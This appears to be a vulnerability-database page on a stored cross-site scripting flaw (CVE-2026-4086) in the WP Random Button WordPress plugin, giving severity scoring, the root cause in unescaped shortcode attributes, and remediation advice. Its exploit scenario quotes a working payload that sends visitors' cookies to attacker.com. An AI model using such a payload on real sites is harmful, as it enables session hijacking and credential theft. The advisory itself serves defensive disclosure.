Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Impact | While the CVSS 3.1 score of 6.4 rates this as Medium severity, the real-world risk assessment is nuanced. The attack vector is Network (exploitable remotely via WordPress admin interface), with Low Attack Complexity and Low privileges required (Contributor role), and the impact scope is Changed (can affect other users' browsers). However, the Confidentiality and Integrity impacts are rated as Low in the CVSS vector, which underrepresents the actual threat since XSS can lead to session hijacking, credential theft, or malware distribution. The vulnerability requires no user interaction for execution once injected (UI:N), meaning it triggers automatically when pages are viewed. The primary mitigating factor is that exploitation requires authenticated access—this is not an unauthenticated XSS vulnerability. The lack of published EPSS score data or confirmed KEV (Known Exploited Vulnerability) status in public databases suggests this may not yet be under active widespread exploitation, but the straightforward nature of the vulnerability and public code references make proof-of-concept development trivial. Organizations should prioritize patching this on sites where contributor accounts are widely distributed or where user role management is lax, but it is lower priority than unauthenticated XSS vulnerabilities affecting the same asset. |
| Exploit ScenarioDerived | An attacker with WordPress Contributor access (or obtained through compromised credentials) creates or edits a page containing the shortcode [wp_random_button text="<img src=x onerror=fetch('https://attacker.com/steal?cookie='+document.cookie)>"]. When any visitor, including administrators, views this page, the injected JavaScript executes in their browser context with their session privileges, allowing the attacker to steal cookies, session tokens, or other sensitive data. The stored nature of this XSS means the attack persists and affects all future viewers until the malicious shortcode is removed. No user interaction or special conditions are required—simple page view is sufficient for exploitation, as the CVSS UI:N (No User Interaction) rating indicates. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Mar 21, 2026
The WP Random Button WordPress plugin contains a Stored Cross-Site Scripting (XSS) vulnerability in versions up to and including 1.0 affecting all installations of this plugin. Authenticated attackers with Contributor-level or higher privileges can inject arbitrary JavaScript code through improperly sanitized shortcode attributes ('cat', 'nocat', and 'text'), which will execute in the browsers of any user viewing the affected pages. With a CVSS score of 6.4 and network-accessible attack vector requiring only low-privileged authenticated access, this vulnerability poses a moderate but realistic risk to WordPress sites using this plugin, particularly those with contributor-level user accounts or where user roles are not carefully managed.
RemediationAI
The primary remediation is to update the WP Random Button plugin to a patched version beyond 1.0 if and when such a patch is released by the plugin maintainer (newbiesup); site administrators should monitor the Wordfence vulnerability page (https://www.wordfence.com/threat-intel/vulnerabilities/id/0b9e11f5-5a05-4867-abd8-fb07c84a49b0) for patch availability. Until a patch is available, disable or remove the WP Random Button plugin entirely if it is not critical to site functionality. As an interim preventive control, restrict Contributor-level and above role assignments to trusted administrators only, and audit existing posts and pages using the wp_random_button shortcode for any suspicious attribute values that may have already been injected. Additionally, implement WordPress security hardening measures such as Web Application Firewall (WAF) rules to block requests containing common XSS payloads in shortcode attributes, and enable Content Security Policy (CSP) headers to mitigate the impact if XSS injection occurs despite preventive measures.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The vulnerability stems from insufficient input sanitization and output escaping in the random_button_html() function of the WP Random Button plugin (CPE: cpe:2.3:a:newbiesup:wp_random_button:*:*:*:*:*:*:*:*). The plugin processes WordPress shortcode attributes ('cat', 'nocat', and 'text') and directly concatenates them into HTML without using WordPress security functions. Specifically, the 'cat' and 'nocat' parameters are inserted into HTML data-attributes without the esc_attr() function, while the 'text' parameter is concatenated into HTML content without esc_html() escaping. This is a classic instance of CWE-79 (Improper Neutralization of Input During Web Page Generation), where user-controlled input flows directly into the output context without proper encoding for that context. The vulnerability is particularly severe because shortcodes are stored content—once injected via the post/page editor, the malicious script persists in the database and executes for all subsequent page views, making this a Stored XSS rather than Reflected XSS.
Know when Wp Random Button gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
DescriptionCVE.org
The WP Random Button plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'cat', 'nocat', and 'text' shortcode attributes of the 'wp_random_button' shortcode in all versions up to, and including, 1.0. This is due to insufficient input sanitization and output escaping on user-supplied shortcode attributes. Specifically, the random_button_html() function directly concatenates the 'cat' and 'nocat' parameters into HTML data-attributes without esc_attr(), and the 'text' parameter into HTML content without esc_html(). This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
Executive ViewAI
Organizations using all should be aware of moderate risk from CVE-2026-4086, a cross-site scripting vulnerability rated CVSS 6.4. Attackers could inject scripts to steal sessions or perform actions as authenticated users. Organizations should apply vendor updates when available and monitor for exploitation.
Apply vendor patch. If patching is delayed: implement CSP headers, enable HttpOnly cookies, deploy WAF XSS rules.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
EUVD-2026-14010
GHSA-x5f6-m38m-6rp5
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB